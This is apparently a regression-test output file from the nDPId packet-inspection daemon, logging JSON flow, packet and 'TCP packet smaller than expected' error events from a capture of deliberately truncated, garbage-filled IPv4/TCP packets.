00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244028345706,"flow_src_last_pkt_time":1534244028345706,"flow_dst_last_pkt_time":1534244028345706,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244028345706,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16243,"dst_port":21055,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00526{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_src_last_pkt_time":1534244028345706,"flow_dst_last_pkt_time":1534244028345706,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAj9zUj83NDgzOTYpKComXiX\/oQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345739} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345752} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345764} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345775} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345786} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345807} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345853} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345865} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345876} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345887} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":3768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345898} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345914} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345941} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345954} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345966} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345977} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028345990} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346003} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346018} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346032} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346046} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346059} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346072} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346084} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346096} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346110} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346124} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346138} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346151} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346164} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346221} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346249} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346275} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346286} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346299} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346312} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346325} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346352} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244028345706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244028346365} 